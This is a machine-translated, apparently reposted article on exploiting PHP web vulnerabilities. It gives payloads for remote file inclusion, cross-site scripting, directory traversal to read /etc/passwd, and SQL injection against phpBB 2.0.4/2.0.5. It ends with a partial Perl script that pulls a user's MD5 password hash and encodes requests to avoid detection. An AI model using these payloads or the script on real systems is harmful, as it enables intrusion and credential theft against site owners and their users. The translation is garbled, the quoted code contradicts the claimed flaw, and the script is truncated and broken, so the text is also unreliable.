Php page vulnerability analysis and troubleshooting

Source: Internet
Author: User
Tags md5 hash sql injection password

From the perspective of network security, the most common WEB page vulnerabilities are ASP. In this regard, I am an expert and have no right to speak. However, in terms of PHP, there are also serious security problems, but there are not many articles on this. Here, I 'd like to discuss with you a little bit about the vulnerabilities on the PHP page.

I have summarized common PHP vulnerabilities, including file vulnerabilities, script command execution vulnerabilities, file leaks, and SQL injection vulnerabilities. Of course, some common technologies such as COOKIE spoofing are not discussed here, and there are also a lot of such information on the Internet. Let's analyze how to exploit these vulnerabilities one by one!

First, we will discuss the File Inclusion Vulnerability. This vulnerability should be unique to PHP. This is due to insufficient processing of external malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Let's look at an example: Suppose there is such a code in a. php:

The following is a reference clip:

Include ($ include. "/xxx. php ");

?>

In this Code, $ include is generally a set path, but we can construct a path to achieve the attack purpose. For example, we submit a. php? Include = http: // web/B. php. This web is the space for attacks. Of course, B. php is the code we use to attack. We can write code similar to passthru ("/bin/ls/etc"); in B. php. In this way, you can execute some targeted attacks. (Note: The Web server should not be able to execute php code, otherwise it will cause a problem. For more information, see

Next, let's take a look at the script command execution vulnerability. This is because the URI parameters submitted by the user are not fully filtered. submitting data containing malicious HTML code can trigger cross-site scripting attacks and obtain sensitive information of the target user. For example, in PHP Transparent's PHP 4.3.1 or earlier versions, index. php page does not fully filter PHPSESSID. We can use this code to attack http: // web/index. php? PHPSESSID = "> in the script, we can construct functions to obtain some sensitive information of users. In terms of this vulnerability, PHP Transparent, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, and so on.

Next, let's take a look at the file leakage vulnerability, which is due to the lack of adequate Filtering for user submitted parameters. Remote attackers can exploit it to perform directory traversal attacks and obtain some sensitive information. Let's take phpMyAdmin as an example. In phpMyAdmin, export. the php page does not fully filter user-submitted 'wh' parameters. Remote attacker submissions contain multiple '.. /'character data, attackers can bypass the web root restriction and view any file information on the system with WEB permissions. For example, enter an address: export. php? What = ../etc/passwd % 00 to achieve file leakage. In this regard, there are more: myPHPNuke, McNews, and so on.

Finally, we have to go back to the most exciting place. Think about how cool we usually use SQL Injection on asp pages. In the past, we had to manually inject it until Xiaozhu realized "SQL Injection password" (), and then developed NBSI, our NB-consortium is really pulling out a sky. He has helped major websites such as CSDN, monopoly forums, and China channels to identify vulnerabilities. (I don't have to talk about this nonsense. It's a bit out of question ...).

In fact, SQL Injection in asp is roughly the same as SQL Injection in php, but just pay attention to several functions. Change asc to ASCII, len to LENGTH, and other functions remain unchanged. In fact, we see php SQL injection, will you think of PHP-NUKE and PHPBB? Good, as the saying goes, tree tricks, forums like mobile networks should be the King of vulnerabilities in the asp community. This doesn't mean that their forums are too secure, but they are too famous, when others use more, more people will study, and more security vulnerabilities will be discovered. The same is true for PHPBB. For a large part of PHP forums, PHPBB is generally used. Its vulnerabilities have also been discovered, from the earliest phpBB.com phpBB 1.4.0 versions, to the latest phpBB 2.0.6 version of groupcp. php, and search. php, profile. php, viewtopic. php and so on. It may look like a dozen. This has also led to some people who will use php as an experimental product when studying php vulnerabilities. The so-called best practice makes it possible. I believe that PHPBB will become better and better in the future.

Okay. Let's analyze the cause of the vulnerability. Viewtopic. for the php page, because viewtopic is called. in php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without filtering. Attackers can submit special SQL strings to obtain the MD5 password, this password can be used for automatic logon or brute-force cracking. (I think no one will want to crack it, unless there is a particularly important reason ). Let's take a look at the source code:

The following is a reference clip:

# If (isset ($ HTTP_GET_VARS [POST_TOPIC_URL])

#{

# $ Topic_id = intval ($ HTTP_GET_VARS [POST_TOPIC_URL]);

#}

# Elseif (isset ($ HTTP_GET_VARS ['topic '])

#{

# $ Topic_id = intval ($ HTTP_GET_VARS ['topic ']);

#}

We can see from the above that, if the submitted view = newest and sid has set a value, the query code executed will look like the following (if you have not read the source code of PHPBB, we recommend that you check the affected systems: phpBB 2.0.5 and phpBB 2.0.4 ).

The following is a reference clip:

# $ SQL = "SELECT p. post_id

# FROM ". POSTS_TABLE." p, ". SESSIONS_TABLE." s, ". USERS_TABLE." u

# WHERE s. session_id = '$ session_id'

# AND u. user_id = s. session_user_id

# AND p. topic_id = $ topic_id

# AND p. post_time> = u. user_lastvisit

# Order by p. post_time ASC

# LIMIT 1 ";

Rick provides the following code for the disconnection test:

Use IO: Socket;

$ Remote = shift | 'localhost ';

$ View_topic = shift | '/phpBB2/viewtopic. php ';

$ Uid = shift | 2;

$ Port = 80;

$ DBType = 'mysql4'; # mysql4 or pgsql

Print "Trying to get password hash for uid $ uid server $ remote dbtype: $ dBType ";

$ P = "";

For ($ index = 1; $ index <= 32; $ index ++)

{

$ Socket = IO: Socket: INET-> new (PeerAddr => $ remote,

PeerPort => $ port,

Proto => "tcp ",

Type => SOCK_STREAM)

Or die "Couldnt connect to $ remote: $ port: $ @";

$ Str = "GET $ view_topic "."? Sid = 1 & topic_id =-1 ". random_encode (make_dbsql ()." & view = newest "." HTTP/1.0 ";

Print $ socket $ str;

Print $ socket "Cookie: phpBB2mysql_sid = 1"; # replace this for pgsql or remove it

Print $ socket "Host: $ remote ";

While ($ answer = <$ socket>)

{

If ($ answer = ~ /Location:. * x23 (d +)/) # Matches the location: viewtopic. php? P = #

{

$ P. = chr ();

}

}

Close ($ socket );

}

Print "MD5 Hash for uid $ uid is $ p ";

# Random encode str. helps avoid detection

Sub random_encode

{

$ Str = shift;

$ Ret = "";

For ($ I = 0; $ I

{

$ C = substr ($ str, $ I, 1 );

$ J = rand length ($ str) * 1000;

  

  

If (int ($ j) % 2 | $ c eq '')

{

$ Ret. = "%". sprintf ("% x", ord ($ c ));

}


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.